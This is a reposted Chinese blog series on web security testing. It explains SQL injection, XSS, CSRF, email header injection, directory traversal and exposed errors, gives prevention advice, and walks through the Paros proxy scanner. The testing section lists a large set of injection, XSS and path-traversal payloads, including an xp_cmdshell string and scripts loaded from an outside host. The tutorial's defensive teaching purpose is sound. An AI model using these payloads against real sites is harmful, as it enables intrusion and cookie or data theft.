转载：安全性测试

本文转自:http://blog.163.com/tech_qa/blog/static/1301763492009927104634871/

安全性测试系列之一-网站安全性问题

2008-02-14 18:13:06

 从三个方面来讨论安全性测试,首先是安全性问题都包括哪些?其次是如何进行安全性测试?最后是安全性测试工具.

 1.DJANGO的一篇文档中介绍了关于安全性问题包括的内容:http://www.djangobook.com/en/1.0/chapter19

这篇文章的主题思想是:Never — under any circumstances — trust data from the browser.(从不要相信来自浏览器端的数据,由于你永远不可能知道在浏览器进行数据操做是你的用户仍是正在寻找攻击漏洞的黑客)

 2.安全性问题包括的内容:

 SQL Injection:(SQL注入)

SQL injection is a common exploit in which an attacker alters Web page parameters (such as GET/POST data or URLs) to insert arbitrary SQL snippets that a naive Web application executes in its database directly.

SQL注入是最多见的攻击方式,它的主要原理是:攻击者经过改变WEB页的参数(如GET/POST数据或是URLS)直接将SQL片段提交到服务器,并在服务器端执行的过程.

Cross-Site scrīpting (XSS):(跨站点脚本攻击)

Cross-site scrīpting (XSS), is found in Web applications that fail to escape user-submitted content properly before rendering it into HTML. This allows an attacker to insert arbitrary HTML into your Web page, usually in the form of <scrīpt> tags.

Attackers often use XSS attacks to steal cookie and session information, or to trick users into giving private information to the wrong person (aka phishing).

XSS定义:是因为WEB程序没有对用户提交的HTML内容进行适当的转译,这样攻击者就可能在你的WEB页中插入一些HTML语句,这些语句经过以<SCRITP>TAG的形式出现.

攻击者一般使用XSS攻击来窃取COOKIES 和 SESSION信息,或是欺骗用户将隐私信息暴露给错误对象(又称为钓鱼)

 Cross-Site Request Forgery:(指跨站点请求伪造)

Cross-site request forgery (CSRF) happens when a malicious Web site tricks users into unknowingly loading a URL from a site at which they’re already authenticated — hence taking advantage of their authenticated status.

CSRF:经过在WEB页或在给用户发邮件中插入恶意代码(一般是连接或是脚本),好比发送一个带有银行取款连接的图片或脚本(一般是HTML或JAVAscrīpt),当用户访问这个图片时，此时页面加载图片过程会隐密地连接到一个远程页面，这个页面会自动向目标站点发起请求,若是这个目标站点的仍保留这个用户的COOKIE信息,而且这个COOKIER未过时,那么攻击者就能够在用户不知情的状况以用户的身份登陆银行或执行取款操做.

CSRF的特性就是利用网站对用户标识的信任,欺骗用户的浏览器发送HTTP请求给目标站点

Session Forging/Hijacking:(Session 篡改)

 Email Header Injection:(邮件标题注入)

SQL injection’s less well-known sibling,email header injection, hijacks Web forms that send email. An attacker can use this technique to send spam via your mail server. Any form that constructs email headers from Web form data is vulnerable to this kind of attack.

email header injection 与 SQL注入的原理相似,它的原理是:经过在EMAIL的SUBJECT中输入一些特殊语句如"\n",攻者者能够利用这个缺陷经过你的邮件服务器发送垃圾邮件.

Directory Traversal:(目录遍历)

Directory traversal is another injection-style attack, wherein a malicious user tricks filesystem code into reading and/or writing files that the Web server shouldn’t have access to.

目录遍历是另外一种注入类型的攻击,攻击者欺骗文件系统读或写服务器不容许操做的文件.

Exposed Error Messages:(曝露错误信息)

During development, being able to see tracebacks and errors live in your browser is extremely useful.However, if these errors get displayed once the site goes live, they can reveal aspects of your code or configuration that could aid an attacker.

开发过程当中,若是能够看到错误或历史记录对FIX问题是很是有用的.可是若是这些错误信息被攻击者所获取,那么攻击者就能够经过错误信息而了解到应用程序代码或是数据库或是配置等方面的内容,并为期其行攻击提供有力的帮助.

安全性测试系列之二-如何对网站进行安全性测试?

2008-02-15 13:49:59

   DJANGO的那篇文档中只介绍了网络中常见的安全问题以及如何从程序的角度去防护它们,并未介绍如何针对安全问题进行测试.本章的主要内容是针对上章中说起的安全性问题介绍如何进行安全性测试.

   1.SQL Injection(SQL 注入)

  (1)如何进行SQL注入测试?

首先找到带有参数传递的URL页面,如搜索页面,登陆页面,提交评论页面等等.

注1:对于未明显标识在URL中传递参数的,能够经过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每个参数传递都有可能被利用.

<form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form>

注2:当你找不到有输入行为的页面时,能够尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10

其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片段,如在登陆页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--

注1：根据实际状况,SQL注入请求可使用如下语句: ' or 1=1- - " or 1=1- - or 1=1- - ' or 'a'='a " or "a"="a ') or ('a'='a     注2：为何是OR，以及',――是特殊的字符呢？ 例子：在登陆时进行身份验证时，一般使用以下语句来进行验证：sql=select * from user where username='username' and pwd='password' 如输入http://duck/index.asp?username=admin' or 1='1&pwd=11，SQL语句会变成如下：sql=select * from user where username='admin' or 1='1' and password='11' '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行. 接下来是OR查询条件,OR是一个逻辑运算符，在判断多个条件的时候，只要一个成立，则等式就成立，后面的AND就再也不时行判断了，也就是说咱们绕过了密码验证，咱们只用用户名就能够登陆. 如输入http://duck/index.asp?username=admin'--&pwd=11，SQL语句会变成如下sql=select * from user where name='admin' --' and pasword='11',  '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行  接下来是"--"查询条件,“--”是忽略或注释,上述经过链接符注释掉后面的密码验证(注:对ACCESS数据库无效).

最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;若是能说明存在SQL安全漏洞.

试想,若是网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操做,这样形成的后果是很是严重的.

   (2)如何预防SQL注入?

   从应用程序的角度来说,咱们要作如下三项工做:

转义敏感字符及字符串(SQL的敏感字符包括“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,” ‘ ”,”--”,”%”,”0x”,” ><=!-*/()| ”,和”空格”).

屏蔽出错信息：阻止攻击者知道攻击的结果

在服务端正式处理以前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法以前,服务端拒绝进行关键性的处理操做.

   从测试人员的角度来说,在程序开发前(即需求阶段),咱们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,咱们通常检验如下几项安全性问题:

需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要做用就是禁止输入敏感字符)

需求中应说明若是超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.

   固然在执行测试的过程当中,咱们也需求对上述两项内容进行测试.

   2.Cross-site scritping(XSS):(跨站点脚本攻击)

  (1)如何进行XSS测试?

<!--[if !supportLists]-->首先,找到带有参数传递的URL,如登陆页面,搜索页面,提交评论,发表留言页面等等。

<!--[if !supportLists]-->其次,在页面参数中输入以下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试：

<scrīpt>alert(document.cookie)</scrīpt>

      注:其它的XSS测试语句

><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A class="XSS"></A> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"--> <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

 最后,当用户浏览时便会弹出一个警告框，内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。

试想若是咱们注入的不是以上这个简单的测试代码，而是一段常常精心设计的恶意脚本，当用户浏览此帖时，cookie信息就可能成功的被攻击者获取。此时浏览者的账号就很容易被攻击者掌控了。

  (2)如何预防XSS漏洞?
    从应用程序的角度来说,要进行如下几项预防:

对Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.

在服务端正式处理以前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法以前,服务端拒绝进行关键性的处理操做.

    从测试人员的角度来说,要从需求检查和执行测试过程两个阶段来完成XSS检查:

在需求检查过程当中对各输入项或输出项进行类型、长度以及取值范围进行验证，着重验证是否对HTML或脚本代码进行了转义。

执行测试过程当中也应对上述项进行检查。

   3.CSRF:(跨站点伪造请求)
    CSRF尽管听起来像跨站脚本（XSS），但它与XSS很是不一样，而且攻击方式几乎相左。
    XSS是利用站点内的信任用户，而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。
    XSS也好，CSRF也好，它的目的在于窃取用户的信息，如SESSION 和 COOKIES（关于SESSION 和COOKIES的介绍请参见个人另外一篇BLOG：http://www.51testing.com/?49689/action_viewspace_itemid_74885.html），
   (1)如何进行CSRF测试？
    关于这个主题本人也正在研究，目前主要经过安全性测试工具来进行检查。
   (2)如何预防CSRF漏洞？

请参见http://www.hanguofeng.cn/archives/security/preventing-csrf

请参见http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html

  4.Email Header Injection(邮件标头注入)  
    Email Header Injection：若是表单用于发送email,表单中可能包括“subject”输入项（邮件标题），咱们要验证subject中应能escape掉“\n”标识。

<!--[if !supportLists]--> <!--[endif]-->由于“\n”是新行，若是在subject中输入“hello\ncc:spamvictim@example.com”，可能会造成如下

Subject: hello

cc: spamvictim@example.com

<!--[if !supportLists]--> <!--[endif]-->若是容许用户使用这样的subject，那他可能会给利用这个缺陷经过咱们的平台给其它用户发送垃圾邮件。

  5.Directory Traversal(目录遍历)
   （1）如何进行目录遍历测试？

目录遍历产生的缘由是：程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,致使恶意用户能够经过提交目录跳转来遍历服务器上的任意文件。

测试方法：在URL中输入必定数量的“../”和“./”，验证系统是否ESCAPE掉了这些目录跳转符。

   （2）如何预防目录遍历？

限制Web应用在服务器上的运行

进行严格的输入验证，控制用户输入非法路径

  6.exposed error messages(错误信息)
  （1）如何进行测试？

首先找到一些错误页面，好比404,或500页面。

验证在调试未开经过的状况下，是否给出了友好的错误提示信息好比“你访问的页面不存在”等，而并不是曝露一些程序代码。

  （2）如何预防？

测试人员在进行需求检查时，应该对出错信息进行详细查，好比是否给出了出错信息，是否给出了正确的出错信息。

   安全性测试系列之三－安全测试工具（PAROS PROXY）

2008-02-17 15:01:37

 前两章分别介绍了安全性测试内容和如何进行安全性测试。
若是经过手工进行安全性测试效率是很是低的，首先你必需要找到安全性测试的切入点，而后逐一对这些切入点进行检查。但寻找切入点是很是耗时并且对测试人员的安全、编码的知识面要求也很是高，再者即便是找到了安全测试切入点，逐一对这些关键点进行测试也是须要大量的时间的。
为了提升安全测试的效率，咱们须要借助一些安全性测试工具。
1.先介绍一个关于安全性测试工具的网站http://sectools.org/web-scanners.html和http://networking.ctocio.com.cn/tips/463/7703463.shtml
2.各个安全测试工具的比较你们去看相关文章，在这咱们采用的是开源的安全探测工具－－Paros proxy
3.如下是关于paros proxy（v3.2.13）介绍
（1）安装  

安装JRE

<!--[if !supportLists]--> <!--[endif]-->首先确保已安装JRE [Java Run Time Enviroment (JRE) 1.4 (or above) ]

注意：必定要先安装JRE，而后再安装paros proxy，若是先安装paros proxyr后安装JRE，paros proxy将没法启动。

<!--[if !supportLists]-->若是没有JRE，能够经过如下地址下载并安装：http://java.sun.com/j2se

注意：若是找不到JRE，也能够下载相同版本的JDK，JDK会带有JRE。

配置JRE环境变量：

<!--[if !supportLists]--> <!--[endif]-->首先，右击个人电脑－属性－高级－环境变量进入环境变量设置对话框。

<!--[if !supportLists]-->设置PATH环境变量，在PATH环境变量中输入JRE的安装路径。

如JRE的安装目录为：c:\JRE. 在PATH环境变量中加入c:\JRE

<!--[if !supportLists]--><!--[endif]-->新建CLASSPATH环境变量，在CLASSPATH环境变量中输入LIB路径。

安装和配置paros proxy应用程序

下载地址：http://sourceforge.net/projects/paros/

安装：

若是下载的是WINDOWS版本，安装比较简单。

若是下载的是UNIX或其它平台的版本，则须要手动将程序解压到一个新的目录，并单击.JAR文件运行程序。

配置：

paros须要两个端口：8080和8443,其中8080是代理链接端口，8443是SSL端口，因此必须保证这两个端口并未其它程序所占用。（查看端口命令：打开DOS命令窗口，输入 netstat查看目前使用的端口）

若是在安装完成,启动应用程序时，出现初始化错误，极大的可能就是由于这个端口被其它程序所占用。

配置浏览器属性：打开浏览器（如IE），打开工具－选项－链接－LAN设置－选中proxy server,proxyname为：localhost,port为：8080

若是你的计算机运行于防火墙之下，只能经过公司的代理服务器访问网络，你还须要修改PAROS的代理设置，具体的方法是：打开paros-工具－Options-connection,修改"ProxyName" and "ProxyPort"两项为代理服务器的名称和端口.

若是你但愿其它的平台能够经过你本地机上的PAROS PROXY来访问WEB SERVER，你须要将本地机上的PAROS PROXY的IP设置为（好比：192.168.0.1）而不是127.0.0.1，由于127.0.0.1只容许本地机使用该应用程序.具体操做方法为：打开paros-工具-options-local proxy，将address

（2）操做步骤

第一步：打开paros proxy,而后在浏览器中打开被测试程序。

第二步－－SPIDER：抓取URL。

执行第一步后，系统会自动抓取被测试站点位于URL层次树中第一层的URL（好比一个网站，其首页的URL通常为层次树第一层），并将这些URL显示在左侧的“site”栏中，而后在site栏中选中某一个URL，右击鼠标选取spider命令或单击analyse菜单－spider命令，系统将抓取该URL层次树中下一层次的URL。

注意：因为paros并不能一些特定的URL路径，好比一些URL连接须要在合法登陆后才能被识别出来，所以在进行URL抓取时，必定先要登陆网站。

抓取功能不能处理如下状况：

具备非法验证的SSL站点的URL是不能被抓取的。

不支持多线程（也就是说：）

在HTML页中的某些URLS也是不能被识别的。

由javascrīpt生成的URLS也是不能被识别的。

虽然上述这些urls不能被自动抓取，因此咱们能够将其手动增长到左侧的“site”栏中，具体的操做方法是：

首先咱们要对被测试站点URL的层次树有很好的了解，这样咱们才能知道哪一个URL抓取了，哪尚未被抓取。

对于未被抓取的URLS，经过打开paros-工具-manual request editor，输入未被抓取的URLS，而后单击SEND按钮，完成手动加入URLS动做，添加成功后的URLS将显示在左侧的“site”栏中。（注：此处存在一个问题，当我输入一个URL后单击发送按钮后，系统老是报错“IO erros is sending request”,查看了一下RESPONSE，结果是我发送的URLS WEB 服务器不能识别，不知道是否对输入的URLS有什么特殊的要求，待定。）

第三步－－SCANNER：针对“site”栏中的URLS进行扫描，逐一检查对URLS分别进行安全性检查，验证是否存在安全漏洞。

若是想扫描"site"栏中全部的URLS，单击anaylse-scan all能够启动所有扫描。

若是只想扫描“site”栏中某一URL，选中该URL，右击鼠标，选取scan命令。

SCANNER能够对如下几种状况进行检查：

SQL注入

跨站点脚本攻击

目录遍历

CRLF -- Carriage-Return Line-Feed 回车换行等。

            注：咱们能够经过anylse-scan policy进行安全检查的设置。

第四步－－查看和验证扫描结果：

扫描完成后，单击Report-Last Scan report,可查看当前的扫描报告。

根据扫描报告，对扫描结果进行验证，好比扫描结果中有一是URL传递的参数中存在SQL注入漏洞，咱们将该URL及参数输入到地址栏中，验证结果。

第五步－－保存抓取、扫描内容。

保存时应注意：保存的路径不支持特殊字符，好比汉字等，不然会打不开保存后的文件。